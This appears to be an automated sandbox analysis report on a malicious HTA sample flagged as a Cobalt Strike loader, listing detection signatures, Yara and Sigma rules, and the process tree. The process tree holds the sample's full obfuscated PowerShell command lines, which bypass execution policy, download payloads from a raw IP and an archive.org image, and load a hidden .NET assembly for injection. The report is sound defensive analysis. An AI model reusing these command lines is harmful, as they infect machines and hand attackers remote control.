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Windows
Analysis Report
na.hta
Overview
General Information
| Sample name: | na.hta |
| Analysis ID: | 1533032 |
| MD5: | 02db2924d9d28415909466fd83d98bfb |
| SHA1: | 131f37687d5f92227dbf8db85537d8d588ba4c67 |
| SHA256: | 63460bd959db60a47de9dfbc64c58abd983af187b29d7732987928c56a83a2e1 |
| Tags: | htauser-abuse_ch |
| Infos: |   |
 | |
Detection
Cobalt Strike
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Cobalt Strike Beacon
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 4304 cmdline: mshta.exe "C:\Users\ user\Deskt op\na.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) 
cmd.exe (PID: 5320 cmdline: "C:\Window s\system32 \cmd.exe" "/C PoweRs hElL -eX bypaSS -NOp -W 1 -c devicEcRE dEnTiaLDeP loyment ; ieX($(Ie X('[SYSTem .tEXt.EnCO diNG]'+[CH ar]0X3A+[c HaR]0x3a+' Utf8.GEtST RINg([SYST em.coNVeRT ]'+[cHaR]5 8+[CHaR]58 +'FroMbaSE 64StriNg(' +[CHar]0X2 2+'JFVEcFc yQ0dRM0RLI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgPSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIGF kZC1UeVBlI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLW1lTWJ FckRlRklOS VRpT04gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA nW0RsbEltc G9ydCgidVJ MbU9OIiwgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDaGFyU2V 0ID0gQ2hhc lNldC5Vbml jb2RlKV1wd WJsaWMgc3R hdGljIGV4d GVybiBJbnR QdHIgVVJMR G93bmxvYWR Ub0ZpbGUoS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gdE1ZbUpna ixzdHJpbmc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBtRnlWT WhXLHN0cml uZyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGV6W EVQaix1aW5 0ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgWmVpe GRab1ZELEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI G11bGNlZkJ aKTsnICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL W5hTUUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iRCIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtT mFtZXNQYUN FICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgVGhTY 0hVSUkgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tUGFzc1Roc nU7ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJFV EcFcyQ0dRM 0RLOjpVUkx Eb3dubG9hZ FRvRmlsZSg wLCJodHRwO i8vMTkyLjM uMjIwLjQwL zMzMC92ZXJ 5YmVzdHRoa W5nc3dlc2h hcmVkZm9yb mV3LnRJRiI sIiRlTlY6Q VBQREFUQVx 2ZXJ5YmVzd HRoaW5nc3d lc2hhcmVkZ m9ybmV3LnZ iUyIsMCwwK TtTVGFyVC1 TbEVFUCgzK TtTdGFSdCA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICIkZW5WO kFQUERBVEF cdmVyeWJlc 3R0aGluZ3N 3ZXNoYXJlZ GZvcm5ldy5 2YlMi'+[Ch aR]34+'))' )))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5040 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 6720 cmdline: PoweRshElL -eX byp aSS -NOp -W 1 -c dev icEcREdEnT iaLDePloym ent ; ie X($(IeX('[ SYSTem.tEX t.EnCOdiNG ]'+[CHar]0 X3A+[cHaR] 0x3a+'Utf8 .GEtSTRINg ([SYSTem.c oNVeRT]'+[ cHaR]58+[C HaR]58+'Fr oMbaSE64St riNg('+[CH ar]0X22+'J FVEcFcyQ0d RM0RLICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgP SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIGFkZC1 UeVBlICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL W1lTWJFckR lRklOSVRpT 04gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAnW0R sbEltcG9yd CgidVJMbU9 OIiwgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBDa GFyU2V0ID0 gQ2hhclNld C5Vbmljb2R lKV1wdWJsa WMgc3RhdGl jIGV4dGVyb iBJbnRQdHI gVVJMRG93b mxvYWRUb0Z pbGUoSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgdE1 ZbUpnaixzd HJpbmcgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB tRnlWTWhXL HN0cmluZyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIGV6WEVQa ix1aW50ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gWmVpeGRab 1ZELEludFB 0ciAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIG11b GNlZkJaKTs nICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW5hT UUgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAiRCI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtTmFtZ XNQYUNFICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gVGhTY0hVS UkgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtUGF zc1RocnU7I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJFVEcFc yQ0dRM0RLO jpVUkxEb3d ubG9hZFRvR mlsZSgwLCJ odHRwOi8vM TkyLjMuMjI wLjQwLzMzM C92ZXJ5YmV zdHRoaW5nc 3dlc2hhcmV kZm9ybmV3L nRJRiIsIiR lTlY6QVBQR EFUQVx2ZXJ 5YmVzdHRoa W5nc3dlc2h hcmVkZm9yb mV3LnZiUyI sMCwwKTtTV GFyVC1TbEV FUCgzKTtTd GFSdCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kZW5WOkFQU ERBVEFcdmV yeWJlc3R0a GluZ3N3ZXN oYXJlZGZvc m5ldy52YlM i'+[ChaR]3 4+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
csc.exe (PID: 2212 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\0rfajt3l \0rfajt3l. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 6948 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S15CB.tmp" "c:\Users \user\AppD ata\Local\ Temp\0rfaj t3l\CSC378 EC5CD3A3F4 32FA3C6C96 42D503F33. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) 
wscript.exe (PID: 768 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\veryb estthingsw esharedfor new.vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 6548 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnezF9aW 1hZ2VVcmwn KycgPSAnKy d7MH1odHRw czovL2lhNj AwMTAyLnVz LmFyY2hpdm Uub3JnLzMy L2l0ZW1zL2 RldGFoLW5v dGUtdl8yMD I0MTAvRGV0 YWhOb3QnKy dlX1YuanBn IHswfTt7MX 13ZWJDJysn bGllbnQgPS BOJysnZXct T2JqZWN0IF N5c3RlbS5O ZXQuV2ViQ2 xpZW50O3sx fWltJysnYW dlQnl0ZXMg PSB7MX13ZW JDbGllbnQn KycuRG93bm xvYWREYXRh KHsxfWltYW dlVScrJ3Js KTt7MX1pbW FnZVRleHQg PSBbU3lzdG VtLlQnKydl eHQuJysnRW 5jb2Rpbmdd OjpVVEY4Lk dldFN0cmlu Zyh7MX1pbW FnZUJ5dGVz KTt7JysnMX 1zdGFydEZs YWcgPSB7MH 08JysnPEJB U0U2NF9TVE FSVD4+ezB9 JysnO3sxfW VuZEZsYWcg PSB7MH08PE JBU0U2NF9F TkQ+PnswfT t7MX1zdGFy dEluZGV4ID 0gezF9aW1h Z2VUZXh0Lk luZGV4T2Yo ezF9c3Rhcn RGbGFnKTt7 MX1lbmRJbm RleCA9IHsx fWltYWdlVG V4dC4nKydJ bmRleE9mKH sxfWVuZEZs YWcpO3sxfX N0YXJ0SW5k ZXggJysnLW dlIDAgLWFu ZCB7MX0nKy dlbmRJbmRl eCAtZ3Qgez F9c3RhcnRJ bmRleDt7MX 1zdGFydElu ZGV4ICs9IH sxfXN0YXJ0 RmxhZy5MZW 5ndGg7eycr JzF9YmEnKy dzZTY0TGVu Z3RoID0gez EnKyd9ZW5k SW5kZXggLS B7MX1zdGFy dEluZGV4O3 sxfWJhc2U2 NENvbW1hbm QgPSB7MX1p bWFnZVRleH QuU3Vic3Ry aW5nKHsxfX N0YXJ0SW5k ZXgsIHsxfW Jhc2U2NExl bmd0aCk7ez F9Y29tbWFu ZEJ5dGVzIC crJz0gW1N5 cycrJ3RlbS 5Db252ZXJ0 XTo6RnJvJy snbUJhc2U2 NFMnKyd0cm luZyh7MX1i YXNlNjRDb2 1tYW5kKTt7 MX1sb2FkZW RBc3NlbWJs eSA9IFtTeX N0ZW0nKycu UmVmbGVjdG lvbi5Bc3Nl bWJsJysneV 06OkxvYWQo ezF9Y29tbW FuZEJ5dGVz KTt7MX12YW lNZXRob2Qg PSBbZG5sJy snaWIuSU8u SG9tZV0uR2 V0TWV0aG9k KHswfVZBSX swfSk7ezF9 dmFpTWV0aG 9kLkknKydu dm9rZSh7MX 1udWxsLCBA KHswfXR4dC 5IR0dDUlIv MDMzLzA0Lj AyMi4zLjI5 MS8vJysnOn B0dGh7MH0s IHswfWRlc2 F0aXZhZG97 MH0sIHswfW Rlc2F0aXZh ZG97MH0sIC crJ3swfWRl cycrJ2F0aX ZhZG97MH0s IHswfVJlZ0 FzbXswfSwg ezB9ZGVzYX RpdmFkb3sn KycwfSwgez B9ZGVzYXRp dmFkb3swfS kpOycpICAt RiBbQ2hhcl 0zOSxbQ2hh cl0zNil8IG ludm9rZS1l eHByZXNTSW 9u';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 6476 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3092 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('{1 }imageUrl' +' = '+'{0 }https://i a600102.us .archive.o rg/32/item s/detah-no te-v_20241 0/DetahNot '+'e_V.jpg {0};{1}we bC'+'lient = N'+'ew- Object Sys tem.Net.We bClient;{1 }im'+'ageB ytes = {1} webClient' +'.Downloa dData({1}i mageU'+'rl );{1}image Text = [Sy stem.T'+'e xt.'+'Enco ding]::UTF 8.GetStrin g({1}image Bytes);{'+ '1}startFl ag = {0}<' +'<BASE64_ START>>{0} '+';{1}end Flag = {0} <<BASE64_E ND>>{0};{1 }startInde x = {1}ima geText.Ind exOf({1}st artFlag);{ 1}endIndex = {1}imag eText.'+'I ndexOf({1} endFlag);{ 1}startInd ex '+'-ge 0 -and {1} '+'endInde x -gt {1}s tartIndex; {1}startIn dex += {1} startFlag. Length;{'+ '1}ba'+'se 64Length = {1'+'}end Index - {1 }startInde x;{1}base6 4Command = {1}imageT ext.Substr ing({1}sta rtIndex, { 1}base64Le ngth);{1}c ommandByte s '+'= [Sy s'+'tem.Co nvert]::Fr o'+'mBase6 4S'+'tring ({1}base64 Command);{ 1}loadedAs sembly = [ System'+'. Reflection .Assembl'+ 'y]::Load( {1}command Bytes);{1} vaiMethod = [dnl'+'i b.IO.Home] .GetMethod ({0}VAI{0} );{1}vaiMe thod.I'+'n voke({1}nu ll, @({0}t xt.HGGCRR/ 033/04.022 .3.291//'+ ':ptth{0}, {0}desati vado{0}, { 0}desativa do{0}, '+' {0}des'+'a tivado{0}, {0}RegAsm {0}, {0}de sativado{' +'0}, {0}d esativado{ 0}));') -F [Char]39, [Char]36)| invoke-ex presSIon" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security | ||
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||